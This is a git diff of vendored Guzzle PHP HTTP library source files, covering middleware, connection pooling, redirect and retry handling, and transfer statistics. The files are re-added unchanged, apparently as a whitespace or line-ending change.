$options) use ($handler, $fn) { - return $handler($fn($request), $options); - }; - }; - } - - /** - * Middleware that applies a map function to the resolved promise's - * response. - * - * @param callable $fn Function that accepts a ResponseInterface and - * returns a ResponseInterface. - * @return callable - */ - public static function mapResponse(callable $fn) - { - return function (callable $handler) use ($fn) { - return function ($request, array $options) use ($handler, $fn) { - return $handler($request, $options)->then($fn); - }; - }; - } -} +withCookieHeader($request); + return $handler($request, $options) + ->then( + function ($response) use ($cookieJar, $request) { + $cookieJar->extractCookies($request, $response); + return $response; + } + ); + }; + }; + } + + /** + * Middleware that throws exceptions for 4xx or 5xx responses when the + * "http_error" request option is set to true. + * + * @return callable Returns a function that accepts the next handler. + */ + public static function httpErrors() + { + return function (callable $handler) { + return function ($request, array $options) use ($handler) { + if (empty($options['http_errors'])) { + return $handler($request, $options); + } + return $handler($request, $options)->then( + function (ResponseInterface $response) use ($request) { + $code = $response->getStatusCode(); + if ($code < 400) { + return $response; + } + throw RequestException::create($request, $response); + } + ); + }; + }; + } + + /** + * Middleware that pushes history data to an ArrayAccess container. + * + * @param array|\ArrayAccess $container Container to hold the history (by reference). + * + * @return callable Returns a function that accepts the next handler. + * @throws \InvalidArgumentException if container is not an array or ArrayAccess. + */ + public static function history(&$container) + { + if (!is_array($container) && !$container instanceof \ArrayAccess) { + throw new \InvalidArgumentException('history container must be an array or object implementing ArrayAccess'); + } + + return function (callable $handler) use (&$container) { + return function ($request, array $options) use ($handler, &$container) { + return $handler($request, $options)->then( + function ($value) use ($request, &$container, $options) { + $container[] = [ + 'request' => $request, + 'response' => $value, + 'error' => null, + 'options' => $options + ]; + return $value; + }, + function ($reason) use ($request, &$container, $options) { + $container[] = [ + 'request' => $request, + 'response' => null, + 'error' => $reason, + 'options' => $options + ]; + return \GuzzleHttp\Promise\rejection_for($reason); + } + ); + }; + }; + } + + /** + * Middleware that invokes a callback before and after sending a request. + * + * The provided listener cannot modify or alter the response. It simply + * "taps" into the chain to be notified before returning the promise. The + * before listener accepts a request and options array, and the after + * listener accepts a request, options array, and response promise. + * + * @param callable $before Function to invoke before forwarding the request. + * @param callable $after Function invoked after forwarding. + * + * @return callable Returns a function that accepts the next handler. + */ + public static function tap(callable $before = null, callable $after = null) + { + return function (callable $handler) use ($before, $after) { + return function ($request, array $options) use ($handler, $before, $after) { + if ($before) { + $before($request, $options); + } + $response = $handler($request, $options); + if ($after) { + $after($request, $options, $response); + } + return $response; + }; + }; + } + + /** + * Middleware that handles request redirects. + * + * @return callable Returns a function that accepts the next handler. + */ + public static function redirect() + { + return function (callable $handler) { + return new RedirectMiddleware($handler); + }; + } + + /** + * Middleware that retries requests based on the boolean result of + * invoking the provided "decider" function. + * + * If no delay function is provided, a simple implementation of exponential + * backoff will be utilized. + * + * @param callable $decider Function that accepts the number of retries, + * a request, [response], and [exception] and + * returns true if the request is to be retried. + * @param callable $delay Function that accepts the number of retries and + * returns the number of milliseconds to delay. + * + * @return callable Returns a function that accepts the next handler. + */ + public static function retry(callable $decider, callable $delay = null) + { + return function (callable $handler) use ($decider, $delay) { + return new RetryMiddleware($decider, $handler, $delay); + }; + } + + /** + * Middleware that logs requests, responses, and errors using a message + * formatter. + * + * @param LoggerInterface $logger Logs messages. + * @param MessageFormatter $formatter Formatter used to create message strings. + * @param string $logLevel Level at which to log requests. + * + * @return callable Returns a function that accepts the next handler. + */ + public static function log(LoggerInterface $logger, MessageFormatter $formatter, $logLevel = 'info' /* \Psr\Log\LogLevel::INFO */) + { + return function (callable $handler) use ($logger, $formatter, $logLevel) { + return function ($request, array $options) use ($handler, $logger, $formatter, $logLevel) { + return $handler($request, $options)->then( + function ($response) use ($logger, $request, $formatter, $logLevel) { + $message = $formatter->format($request, $response); + $logger->log($logLevel, $message); + return $response; + }, + function ($reason) use ($logger, $request, $formatter) { + $response = $reason instanceof RequestException + ? $reason->getResponse() + : null; + $message = $formatter->format($request, $response, $reason); + $logger->notice($message); + return \GuzzleHttp\Promise\rejection_for($reason); + } + ); + }; + }; + } + + /** + * This middleware adds a default content-type if possible, a default + * content-length or transfer-encoding header, and the expect header. + * + * @return callable + */ + public static function prepareBody() + { + return function (callable $handler) { + return new PrepareBodyMiddleware($handler); + }; + } + + /** + * Middleware that applies a map function to the request before passing to + * the next handler. + * + * @param callable $fn Function that accepts a RequestInterface and returns + * a RequestInterface. + * @return callable + */ + public static function mapRequest(callable $fn) + { + return function (callable $handler) use ($fn) { + return function ($request, array $options) use ($handler, $fn) { + return $handler($fn($request), $options); + }; + }; + } + + /** + * Middleware that applies a map function to the resolved promise's + * response. + * + * @param callable $fn Function that accepts a ResponseInterface and + * returns a ResponseInterface. + * @return callable + */ + public static function mapResponse(callable $fn) + { + return function (callable $handler) use ($fn) { + return function ($request, array $options) use ($handler, $fn) { + return $handler($request, $options)->then($fn); + }; + }; + } +} diff --git a/vendor/guzzlehttp/guzzle/src/Pool.php b/vendor/guzzlehttp/guzzle/src/Pool.php index e185fdb050..5838db4f4c 100644 --- a/vendor/guzzlehttp/guzzle/src/Pool.php +++ b/vendor/guzzlehttp/guzzle/src/Pool.php @@ -1,134 +1,134 @@ - $rfn) { - if ($rfn instanceof RequestInterface) { - yield $key => $client->sendAsync($rfn, $opts); - } elseif (is_callable($rfn)) { - yield $key => $rfn($opts); - } else { - throw new \InvalidArgumentException('Each value yielded by ' - . 'the iterator must be a Psr7\Http\Message\RequestInterface ' - . 'or a callable that returns a promise that fulfills ' - . 'with a Psr7\Message\Http\ResponseInterface object.'); - } - } - }; - - $this->each = new EachPromise($requests(), $config); - } - - /** - * Get promise - * - * @return PromiseInterface - */ - public function promise() - { - return $this->each->promise(); - } - - /** - * Sends multiple requests concurrently and returns an array of responses - * and exceptions that uses the same ordering as the provided requests. - * - * IMPORTANT: This method keeps every request and response in memory, and - * as such, is NOT recommended when sending a large number or an - * indeterminate number of requests concurrently. - * - * @param ClientInterface $client Client used to send the requests - * @param array|\Iterator $requests Requests to send concurrently. - * @param array $options Passes through the options available in - * {@see GuzzleHttp\Pool::__construct} - * - * @return array Returns an array containing the response or an exception - * in the same order that the requests were sent. - * @throws \InvalidArgumentException if the event format is incorrect. - */ - public static function batch( - ClientInterface $client, - $requests, - array $options = [] - ) { - $res = []; - self::cmpCallback($options, 'fulfilled', $res); - self::cmpCallback($options, 'rejected', $res); - $pool = new static($client, $requests, $options); - $pool->promise()->wait(); - ksort($res); - - return $res; - } - - /** - * Execute callback(s) - * - * @return void - */ - private static function cmpCallback(array &$options, $name, array &$results) - { - if (!isset($options[$name])) { - $options[$name] = function ($v, $k) use (&$results) { - $results[$k] = $v; - }; - } else { - $currentFn = $options[$name]; - $options[$name] = function ($v, $k) use (&$results, $currentFn) { - $currentFn($v, $k); - $results[$k] = $v; - }; - } - } -} + $rfn) { + if ($rfn instanceof RequestInterface) { + yield $key => $client->sendAsync($rfn, $opts); + } elseif (is_callable($rfn)) { + yield $key => $rfn($opts); + } else { + throw new \InvalidArgumentException('Each value yielded by ' + . 'the iterator must be a Psr7\Http\Message\RequestInterface ' + . 'or a callable that returns a promise that fulfills ' + . 'with a Psr7\Message\Http\ResponseInterface object.'); + } + } + }; + + $this->each = new EachPromise($requests(), $config); + } + + /** + * Get promise + * + * @return PromiseInterface + */ + public function promise() + { + return $this->each->promise(); + } + + /** + * Sends multiple requests concurrently and returns an array of responses + * and exceptions that uses the same ordering as the provided requests. + * + * IMPORTANT: This method keeps every request and response in memory, and + * as such, is NOT recommended when sending a large number or an + * indeterminate number of requests concurrently. + * + * @param ClientInterface $client Client used to send the requests + * @param array|\Iterator $requests Requests to send concurrently. + * @param array $options Passes through the options available in + * {@see GuzzleHttp\Pool::__construct} + * + * @return array Returns an array containing the response or an exception + * in the same order that the requests were sent. + * @throws \InvalidArgumentException if the event format is incorrect. + */ + public static function batch( + ClientInterface $client, + $requests, + array $options = [] + ) { + $res = []; + self::cmpCallback($options, 'fulfilled', $res); + self::cmpCallback($options, 'rejected', $res); + $pool = new static($client, $requests, $options); + $pool->promise()->wait(); + ksort($res); + + return $res; + } + + /** + * Execute callback(s) + * + * @return void + */ + private static function cmpCallback(array &$options, $name, array &$results) + { + if (!isset($options[$name])) { + $options[$name] = function ($v, $k) use (&$results) { + $results[$k] = $v; + }; + } else { + $currentFn = $options[$name]; + $options[$name] = function ($v, $k) use (&$results, $currentFn) { + $currentFn($v, $k); + $results[$k] = $v; + }; + } + } +} diff --git a/vendor/guzzlehttp/guzzle/src/PrepareBodyMiddleware.php b/vendor/guzzlehttp/guzzle/src/PrepareBodyMiddleware.php index 28b50cadb0..568a1e906c 100644 --- a/vendor/guzzlehttp/guzzle/src/PrepareBodyMiddleware.php +++ b/vendor/guzzlehttp/guzzle/src/PrepareBodyMiddleware.php @@ -1,111 +1,111 @@ -nextHandler = $nextHandler; - } - - /** - * @param RequestInterface $request - * @param array $options - * - * @return PromiseInterface - */ - public function __invoke(RequestInterface $request, array $options) - { - $fn = $this->nextHandler; - - // Don't do anything if the request has no body. - if ($request->getBody()->getSize() === 0) { - return $fn($request, $options); - } - - $modify = []; - - // Add a default content-type if possible. - if (!$request->hasHeader('Content-Type')) { - if ($uri = $request->getBody()->getMetadata('uri')) { - if ($type = Psr7\mimetype_from_filename($uri)) { - $modify['set_headers']['Content-Type'] = $type; - } - } - } - - // Add a default content-length or transfer-encoding header. - if (!$request->hasHeader('Content-Length') - && !$request->hasHeader('Transfer-Encoding') - ) { - $size = $request->getBody()->getSize(); - if ($size !== null) { - $modify['set_headers']['Content-Length'] = $size; - } else { - $modify['set_headers']['Transfer-Encoding'] = 'chunked'; - } - } - - // Add the expect header if needed. - $this->addExpectHeader($request, $options, $modify); - - return $fn(Psr7\modify_request($request, $modify), $options); - } - - /** - * Add expect header - * - * @return void - */ - private function addExpectHeader( - RequestInterface $request, - array $options, - array &$modify - ) { - // Determine if the Expect header should be used - if ($request->hasHeader('Expect')) { - return; - } - - $expect = isset($options['expect']) ? $options['expect'] : null; - - // Return if disabled or if you're not using HTTP/1.1 or HTTP/2.0 - if ($expect === false || $request->getProtocolVersion() < 1.1) { - return; - } - - // The expect header is unconditionally enabled - if ($expect === true) { - $modify['set_headers']['Expect'] = '100-Continue'; - return; - } - - // By default, send the expect header when the payload is > 1mb - if ($expect === null) { - $expect = 1048576; - } - - // Always add if the body cannot be rewound, the size cannot be - // determined, or the size is greater than the cutoff threshold - $body = $request->getBody(); - $size = $body->getSize(); - - if ($size === null || $size >= (int) $expect || !$body->isSeekable()) { - $modify['set_headers']['Expect'] = '100-Continue'; - } - } -} +nextHandler = $nextHandler; + } + + /** + * @param RequestInterface $request + * @param array $options + * + * @return PromiseInterface + */ + public function __invoke(RequestInterface $request, array $options) + { + $fn = $this->nextHandler; + + // Don't do anything if the request has no body. + if ($request->getBody()->getSize() === 0) { + return $fn($request, $options); + } + + $modify = []; + + // Add a default content-type if possible. + if (!$request->hasHeader('Content-Type')) { + if ($uri = $request->getBody()->getMetadata('uri')) { + if ($type = Psr7\mimetype_from_filename($uri)) { + $modify['set_headers']['Content-Type'] = $type; + } + } + } + + // Add a default content-length or transfer-encoding header. + if (!$request->hasHeader('Content-Length') + && !$request->hasHeader('Transfer-Encoding') + ) { + $size = $request->getBody()->getSize(); + if ($size !== null) { + $modify['set_headers']['Content-Length'] = $size; + } else { + $modify['set_headers']['Transfer-Encoding'] = 'chunked'; + } + } + + // Add the expect header if needed. + $this->addExpectHeader($request, $options, $modify); + + return $fn(Psr7\modify_request($request, $modify), $options); + } + + /** + * Add expect header + * + * @return void + */ + private function addExpectHeader( + RequestInterface $request, + array $options, + array &$modify + ) { + // Determine if the Expect header should be used + if ($request->hasHeader('Expect')) { + return; + } + + $expect = isset($options['expect']) ? $options['expect'] : null; + + // Return if disabled or if you're not using HTTP/1.1 or HTTP/2.0 + if ($expect === false || $request->getProtocolVersion() < 1.1) { + return; + } + + // The expect header is unconditionally enabled + if ($expect === true) { + $modify['set_headers']['Expect'] = '100-Continue'; + return; + } + + // By default, send the expect header when the payload is > 1mb + if ($expect === null) { + $expect = 1048576; + } + + // Always add if the body cannot be rewound, the size cannot be + // determined, or the size is greater than the cutoff threshold + $body = $request->getBody(); + $size = $body->getSize(); + + if ($size === null || $size >= (int) $expect || !$body->isSeekable()) { + $modify['set_headers']['Expect'] = '100-Continue'; + } + } +} diff --git a/vendor/guzzlehttp/guzzle/src/RedirectMiddleware.php b/vendor/guzzlehttp/guzzle/src/RedirectMiddleware.php index 6fa6a7bcf3..e4644b7ac1 100644 --- a/vendor/guzzlehttp/guzzle/src/RedirectMiddleware.php +++ b/vendor/guzzlehttp/guzzle/src/RedirectMiddleware.php @@ -1,255 +1,255 @@ - 5, - 'protocols' => ['http', 'https'], - 'strict' => false, - 'referer' => false, - 'track_redirects' => false, - ]; - - /** @var callable */ - private $nextHandler; - - /** - * @param callable $nextHandler Next handler to invoke. - */ - public function __construct(callable $nextHandler) - { - $this->nextHandler = $nextHandler; - } - - /** - * @param RequestInterface $request - * @param array $options - * - * @return PromiseInterface - */ - public function __invoke(RequestInterface $request, array $options) - { - $fn = $this->nextHandler; - - if (empty($options['allow_redirects'])) { - return $fn($request, $options); - } - - if ($options['allow_redirects'] === true) { - $options['allow_redirects'] = self::$defaultSettings; - } elseif (!is_array($options['allow_redirects'])) { - throw new \InvalidArgumentException('allow_redirects must be true, false, or array'); - } else { - // Merge the default settings with the provided settings - $options['allow_redirects'] += self::$defaultSettings; - } - - if (empty($options['allow_redirects']['max'])) { - return $fn($request, $options); - } - - return $fn($request, $options) - ->then(function (ResponseInterface $response) use ($request, $options) { - return $this->checkRedirect($request, $options, $response); - }); - } - - /** - * @param RequestInterface $request - * @param array $options - * @param ResponseInterface $response - * - * @return ResponseInterface|PromiseInterface - */ - public function checkRedirect( - RequestInterface $request, - array $options, - ResponseInterface $response - ) { - if (substr($response->getStatusCode(), 0, 1) != '3' - || !$response->hasHeader('Location') - ) { - return $response; - } - - $this->guardMax($request, $options); - $nextRequest = $this->modifyRequest($request, $options, $response); - - if (isset($options['allow_redirects']['on_redirect'])) { - call_user_func( - $options['allow_redirects']['on_redirect'], - $request, - $response, - $nextRequest->getUri() - ); - } - - /** @var PromiseInterface|ResponseInterface $promise */ - $promise = $this($nextRequest, $options); - - // Add headers to be able to track history of redirects. - if (!empty($options['allow_redirects']['track_redirects'])) { - return $this->withTracking( - $promise, - (string) $nextRequest->getUri(), - $response->getStatusCode() - ); - } - - return $promise; - } - - /** - * Enable tracking on promise. - * - * @return PromiseInterface - */ - private function withTracking(PromiseInterface $promise, $uri, $statusCode) - { - return $promise->then( - function (ResponseInterface $response) use ($uri, $statusCode) { - // Note that we are pushing to the front of the list as this - // would be an earlier response than what is currently present - // in the history header. - $historyHeader = $response->getHeader(self::HISTORY_HEADER); - $statusHeader = $response->getHeader(self::STATUS_HISTORY_HEADER); - array_unshift($historyHeader, $uri); - array_unshift($statusHeader, $statusCode); - return $response->withHeader(self::HISTORY_HEADER, $historyHeader) - ->withHeader(self::STATUS_HISTORY_HEADER, $statusHeader); - } - ); - } - - /** - * Check for too many redirects - * - * @return void - * - * @throws TooManyRedirectsException Too many redirects. - */ - private function guardMax(RequestInterface $request, array &$options) - { - $current = isset($options['__redirect_count']) - ? $options['__redirect_count'] - : 0; - $options['__redirect_count'] = $current + 1; - $max = $options['allow_redirects']['max']; - - if ($options['__redirect_count'] > $max) { - throw new TooManyRedirectsException( - "Will not follow more than {$max} redirects", - $request - ); - } - } - - /** - * @param RequestInterface $request - * @param array $options - * @param ResponseInterface $response - * - * @return RequestInterface - */ - public function modifyRequest( - RequestInterface $request, - array $options, - ResponseInterface $response - ) { - // Request modifications to apply. - $modify = []; - $protocols = $options['allow_redirects']['protocols']; - - // Use a GET request if this is an entity enclosing request and we are - // not forcing RFC compliance, but rather emulating what all browsers - // would do. - $statusCode = $response->getStatusCode(); - if ($statusCode == 303 || - ($statusCode <= 302 && !$options['allow_redirects']['strict']) - ) { - $modify['method'] = 'GET'; - $modify['body'] = ''; - } - - $uri = $this->redirectUri($request, $response, $protocols); - if (isset($options['idn_conversion']) && ($options['idn_conversion'] !== false)) { - $idnOptions = ($options['idn_conversion'] === true) ? IDNA_DEFAULT : $options['idn_conversion']; - $uri = Utils::idnUriConvert($uri, $idnOptions); - } - - $modify['uri'] = $uri; - Psr7\rewind_body($request); - - // Add the Referer header if it is told to do so and only - // add the header if we are not redirecting from https to http. - if ($options['allow_redirects']['referer'] - && $modify['uri']->getScheme() === $request->getUri()->getScheme() - ) { - $uri = $request->getUri()->withUserInfo(''); - $modify['set_headers']['Referer'] = (string) $uri; - } else { - $modify['remove_headers'][] = 'Referer'; - } - - // Remove Authorization header if host is different. - if ($request->getUri()->getHost() !== $modify['uri']->getHost()) { - $modify['remove_headers'][] = 'Authorization'; - } - - return Psr7\modify_request($request, $modify); - } - - /** - * Set the appropriate URL on the request based on the location header - * - * @param RequestInterface $request - * @param ResponseInterface $response - * @param array $protocols - * - * @return UriInterface - */ - private function redirectUri( - RequestInterface $request, - ResponseInterface $response, - array $protocols - ) { - $location = Psr7\UriResolver::resolve( - $request->getUri(), - new Psr7\Uri($response->getHeaderLine('Location')) - ); - - // Ensure that the redirect URI is allowed based on the protocols. - if (!in_array($location->getScheme(), $protocols)) { - throw new BadResponseException( - sprintf( - 'Redirect URI, %s, does not use one of the allowed redirect protocols: %s', - $location, - implode(', ', $protocols) - ), - $request, - $response - ); - } - - return $location; - } -} + 5, + 'protocols' => ['http', 'https'], + 'strict' => false, + 'referer' => false, + 'track_redirects' => false, + ]; + + /** @var callable */ + private $nextHandler; + + /** + * @param callable $nextHandler Next handler to invoke. + */ + public function __construct(callable $nextHandler) + { + $this->nextHandler = $nextHandler; + } + + /** + * @param RequestInterface $request + * @param array $options + * + * @return PromiseInterface + */ + public function __invoke(RequestInterface $request, array $options) + { + $fn = $this->nextHandler; + + if (empty($options['allow_redirects'])) { + return $fn($request, $options); + } + + if ($options['allow_redirects'] === true) { + $options['allow_redirects'] = self::$defaultSettings; + } elseif (!is_array($options['allow_redirects'])) { + throw new \InvalidArgumentException('allow_redirects must be true, false, or array'); + } else { + // Merge the default settings with the provided settings + $options['allow_redirects'] += self::$defaultSettings; + } + + if (empty($options['allow_redirects']['max'])) { + return $fn($request, $options); + } + + return $fn($request, $options) + ->then(function (ResponseInterface $response) use ($request, $options) { + return $this->checkRedirect($request, $options, $response); + }); + } + + /** + * @param RequestInterface $request + * @param array $options + * @param ResponseInterface $response + * + * @return ResponseInterface|PromiseInterface + */ + public function checkRedirect( + RequestInterface $request, + array $options, + ResponseInterface $response + ) { + if (substr($response->getStatusCode(), 0, 1) != '3' + || !$response->hasHeader('Location') + ) { + return $response; + } + + $this->guardMax($request, $options); + $nextRequest = $this->modifyRequest($request, $options, $response); + + if (isset($options['allow_redirects']['on_redirect'])) { + call_user_func( + $options['allow_redirects']['on_redirect'], + $request, + $response, + $nextRequest->getUri() + ); + } + + /** @var PromiseInterface|ResponseInterface $promise */ + $promise = $this($nextRequest, $options); + + // Add headers to be able to track history of redirects. + if (!empty($options['allow_redirects']['track_redirects'])) { + return $this->withTracking( + $promise, + (string) $nextRequest->getUri(), + $response->getStatusCode() + ); + } + + return $promise; + } + + /** + * Enable tracking on promise. + * + * @return PromiseInterface + */ + private function withTracking(PromiseInterface $promise, $uri, $statusCode) + { + return $promise->then( + function (ResponseInterface $response) use ($uri, $statusCode) { + // Note that we are pushing to the front of the list as this + // would be an earlier response than what is currently present + // in the history header. + $historyHeader = $response->getHeader(self::HISTORY_HEADER); + $statusHeader = $response->getHeader(self::STATUS_HISTORY_HEADER); + array_unshift($historyHeader, $uri); + array_unshift($statusHeader, $statusCode); + return $response->withHeader(self::HISTORY_HEADER, $historyHeader) + ->withHeader(self::STATUS_HISTORY_HEADER, $statusHeader); + } + ); + } + + /** + * Check for too many redirects + * + * @return void + * + * @throws TooManyRedirectsException Too many redirects. + */ + private function guardMax(RequestInterface $request, array &$options) + { + $current = isset($options['__redirect_count']) + ? $options['__redirect_count'] + : 0; + $options['__redirect_count'] = $current + 1; + $max = $options['allow_redirects']['max']; + + if ($options['__redirect_count'] > $max) { + throw new TooManyRedirectsException( + "Will not follow more than {$max} redirects", + $request + ); + } + } + + /** + * @param RequestInterface $request + * @param array $options + * @param ResponseInterface $response + * + * @return RequestInterface + */ + public function modifyRequest( + RequestInterface $request, + array $options, + ResponseInterface $response + ) { + // Request modifications to apply. + $modify = []; + $protocols = $options['allow_redirects']['protocols']; + + // Use a GET request if this is an entity enclosing request and we are + // not forcing RFC compliance, but rather emulating what all browsers + // would do. + $statusCode = $response->getStatusCode(); + if ($statusCode == 303 || + ($statusCode <= 302 && !$options['allow_redirects']['strict']) + ) { + $modify['method'] = 'GET'; + $modify['body'] = ''; + } + + $uri = $this->redirectUri($request, $response, $protocols); + if (isset($options['idn_conversion']) && ($options['idn_conversion'] !== false)) { + $idnOptions = ($options['idn_conversion'] === true) ? IDNA_DEFAULT : $options['idn_conversion']; + $uri = Utils::idnUriConvert($uri, $idnOptions); + } + + $modify['uri'] = $uri; + Psr7\rewind_body($request); + + // Add the Referer header if it is told to do so and only + // add the header if we are not redirecting from https to http. + if ($options['allow_redirects']['referer'] + && $modify['uri']->getScheme() === $request->getUri()->getScheme() + ) { + $uri = $request->getUri()->withUserInfo(''); + $modify['set_headers']['Referer'] = (string) $uri; + } else { + $modify['remove_headers'][] = 'Referer'; + } + + // Remove Authorization header if host is different. + if ($request->getUri()->getHost() !== $modify['uri']->getHost()) { + $modify['remove_headers'][] = 'Authorization'; + } + + return Psr7\modify_request($request, $modify); + } + + /** + * Set the appropriate URL on the request based on the location header + * + * @param RequestInterface $request + * @param ResponseInterface $response + * @param array $protocols + * + * @return UriInterface + */ + private function redirectUri( + RequestInterface $request, + ResponseInterface $response, + array $protocols + ) { + $location = Psr7\UriResolver::resolve( + $request->getUri(), + new Psr7\Uri($response->getHeaderLine('Location')) + ); + + // Ensure that the redirect URI is allowed based on the protocols. + if (!in_array($location->getScheme(), $protocols)) { + throw new BadResponseException( + sprintf( + 'Redirect URI, %s, does not use one of the allowed redirect protocols: %s', + $location, + implode(', ', $protocols) + ), + $request, + $response + ); + } + + return $location; + } +} diff --git a/vendor/guzzlehttp/guzzle/src/RequestOptions.php b/vendor/guzzlehttp/guzzle/src/RequestOptions.php index e90fc0c85b..355f658f03 100644 --- a/vendor/guzzlehttp/guzzle/src/RequestOptions.php +++ b/vendor/guzzlehttp/guzzle/src/RequestOptions.php @@ -1,263 +1,263 @@ -decider = $decider; - $this->nextHandler = $nextHandler; - $this->delay = $delay ?: __CLASS__ . '::exponentialDelay'; - } - - /** - * Default exponential backoff delay function. - * - * @param int $retries - * - * @return int milliseconds. - */ - public static function exponentialDelay($retries) - { - return (int) pow(2, $retries - 1) * 1000; - } - - /** - * @param RequestInterface $request - * @param array $options - * - * @return PromiseInterface - */ - public function __invoke(RequestInterface $request, array $options) - { - if (!isset($options['retries'])) { - $options['retries'] = 0; - } - - $fn = $this->nextHandler; - return $fn($request, $options) - ->then( - $this->onFulfilled($request, $options), - $this->onRejected($request, $options) - ); - } - - /** - * Execute fulfilled closure - * - * @return mixed - */ - private function onFulfilled(RequestInterface $req, array $options) - { - return function ($value) use ($req, $options) { - if (!call_user_func( - $this->decider, - $options['retries'], - $req, - $value, - null - )) { - return $value; - } - return $this->doRetry($req, $options, $value); - }; - } - - /** - * Execute rejected closure - * - * @return callable - */ - private function onRejected(RequestInterface $req, array $options) - { - return function ($reason) use ($req, $options) { - if (!call_user_func( - $this->decider, - $options['retries'], - $req, - null, - $reason - )) { - return \GuzzleHttp\Promise\rejection_for($reason); - } - return $this->doRetry($req, $options); - }; - } - - /** - * @return self - */ - private function doRetry(RequestInterface $request, array $options, ResponseInterface $response = null) - { - $options['delay'] = call_user_func($this->delay, ++$options['retries'], $response); - - return $this($request, $options); - } -} +decider = $decider; + $this->nextHandler = $nextHandler; + $this->delay = $delay ?: __CLASS__ . '::exponentialDelay'; + } + + /** + * Default exponential backoff delay function. + * + * @param int $retries + * + * @return int milliseconds. + */ + public static function exponentialDelay($retries) + { + return (int) pow(2, $retries - 1) * 1000; + } + + /** + * @param RequestInterface $request + * @param array $options + * + * @return PromiseInterface + */ + public function __invoke(RequestInterface $request, array $options) + { + if (!isset($options['retries'])) { + $options['retries'] = 0; + } + + $fn = $this->nextHandler; + return $fn($request, $options) + ->then( + $this->onFulfilled($request, $options), + $this->onRejected($request, $options) + ); + } + + /** + * Execute fulfilled closure + * + * @return mixed + */ + private function onFulfilled(RequestInterface $req, array $options) + { + return function ($value) use ($req, $options) { + if (!call_user_func( + $this->decider, + $options['retries'], + $req, + $value, + null + )) { + return $value; + } + return $this->doRetry($req, $options, $value); + }; + } + + /** + * Execute rejected closure + * + * @return callable + */ + private function onRejected(RequestInterface $req, array $options) + { + return function ($reason) use ($req, $options) { + if (!call_user_func( + $this->decider, + $options['retries'], + $req, + null, + $reason + )) { + return \GuzzleHttp\Promise\rejection_for($reason); + } + return $this->doRetry($req, $options); + }; + } + + /** + * @return self + */ + private function doRetry(RequestInterface $request, array $options, ResponseInterface $response = null) + { + $options['delay'] = call_user_func($this->delay, ++$options['retries'], $response); + + return $this($request, $options); + } +} diff --git a/vendor/guzzlehttp/guzzle/src/TransferStats.php b/vendor/guzzlehttp/guzzle/src/TransferStats.php index 240e392be0..87fb3c0016 100644 --- a/vendor/guzzlehttp/guzzle/src/TransferStats.php +++ b/vendor/guzzlehttp/guzzle/src/TransferStats.php @@ -1,126 +1,126 @@ -request = $request; - $this->response = $response; - $this->transferTime = $transferTime; - $this->handlerErrorData = $handlerErrorData; - $this->handlerStats = $handlerStats; - } - - /** - * @return RequestInterface - */ - public function getRequest() - { - return $this->request; - } - - /** - * Returns the response that was received (if any). - * - * @return ResponseInterface|null - */ - public function getResponse() - { - return $this->response; - } - - /** - * Returns true if a response was received. - * - * @return bool - */ - public function hasResponse() - { - return $this->response !== null; - } - - /** - * Gets handler specific error data. - * - * This might be an exception, a integer representing an error code, or - * anything else. Relying on this value assumes that you know what handler - * you are using. - * - * @return mixed - */ - public function getHandlerErrorData() - { - return $this->handlerErrorData; - } - - /** - * Get the effective URI the request was sent to. - * - * @return UriInterface - */ - public function getEffectiveUri() - { - return $this->request->getUri(); - } - - /** - * Get the estimated time the request was being transferred by the handler. - * - * @return float|null Time in seconds. - */ - public function getTransferTime() - { - return $this->transferTime; - } - - /** - * Gets an array of all of the handler specific transfer data. - * - * @return array - */ - public function getHandlerStats() - { - return $this->handlerStats; - } - - /** - * Get a specific handler statistic from the handler by name. - * - * @param string $stat Handler specific transfer stat to retrieve. - * - * @return mixed|null - */ - public function getHandlerStat($stat) - { - return isset($this->handlerStats[$stat]) - ? $this->handlerStats[$stat] - : null; - } -} +request = $request; + $this->response = $response; + $this->transferTime = $transferTime; + $this->handlerErrorData = $handlerErrorData; + $this->handlerStats = $handlerStats; + } + + /** + * @return RequestInterface + */ + public function getRequest() + { + return $this->request; + } + + /** + * Returns the response that was received (if any). + * + * @return ResponseInterface|null + */ + public function getResponse() + { + return $this->response; + } + + /** + * Returns true if a response was received. + * + * @return bool + */ + public function hasResponse() + { + return $this->response !== null; + } + + /** + * Gets handler specific error data. + * + * This might be an exception, a integer representing an error code, or + * anything else. Relying on this value assumes that you know what handler + * you are using. + * + * @return mixed + */ + public function getHandlerErrorData() + { + return $this->handlerErrorData; + } + + /** + * Get the effective URI the request was sent to. + * + * @return UriInterface + */ + public function getEffectiveUri() + { + return $this->request->getUri(); + } + + /** + * Get the estimated time the request was being transferred by the handler. + * + * @return float|null Time in seconds. + */ + public function getTransferTime() + { + return $this->transferTime; + } + + /** + * Gets an array of all of the handler specific transfer data. + * + * @return array + */ + public function getHandlerStats() + { + return $this->handlerStats; + } + + /** + * Get a specific handler statistic from the handler by name. + * + * @param string $stat Handler specific transfer stat to retrieve. + * + * @return mixed|null + */ + public function getHandlerStat($stat) + { + return isset($this->handlerStats[$stat]) + ? $this->handlerStats[$stat] + : null; + } +} diff --git a/vendor/guzzlehttp/guzzle/src/UriTemplate.php b/vendor/guzzlehttp/guzzle/src/UriTemplate.php index 643a20c382..96dcfd09cd 100644 --- a/vendor/guzzlehttp/guzzle/src/UriTemplate.php +++ b/vendor/guzzlehttp/guzzle/src/UriTemplate.php @@ -1,237 +1,237 @@ - ['prefix' => '', 'joiner' => ',', 'query' => false], - '+' => ['prefix' => '', 'joiner' => ',', 'query' => false], - '#' => ['prefix' => '#', 'joiner' => ',', 'query' => false], - '.' => ['prefix' => '.', 'joiner' => '.', 'query' => false], - '/' => ['prefix' => '/', 'joiner' => '/', 'query' => false], - ';' => ['prefix' => ';', 'joiner' => ';', 'query' => true], - '?' => ['prefix' => '?', 'joiner' => '&', 'query' => true], - '&' => ['prefix' => '&', 'joiner' => '&', 'query' => true] - ]; - - /** @var array Delimiters */ - private static $delims = [':', '/', '?', '#', '[', ']', '@', '!', '$', - '&', '\'', '(', ')', '*', '+', ',', ';', '=']; - - /** @var array Percent encoded delimiters */ - private static $delimsPct = ['%3A', '%2F', '%3F', '%23', '%5B', '%5D', - '%40', '%21', '%24', '%26', '%27', '%28', '%29', '%2A', '%2B', '%2C', - '%3B', '%3D']; - - public function expand($template, array $variables) - { - if (false === strpos($template, '{')) { - return $template; - } - - $this->template = $template; - $this->variables = $variables; - - return preg_replace_callback( - '/\{([^\}]+)\}/', - [$this, 'expandMatch'], - $this->template - ); - } - - /** - * Parse an expression into parts - * - * @param string $expression Expression to parse - * - * @return array Returns an associative array of parts - */ - private function parseExpression($expression) - { - $result = []; - - if (isset(self::$operatorHash[$expression[0]])) { - $result['operator'] = $expression[0]; - $expression = 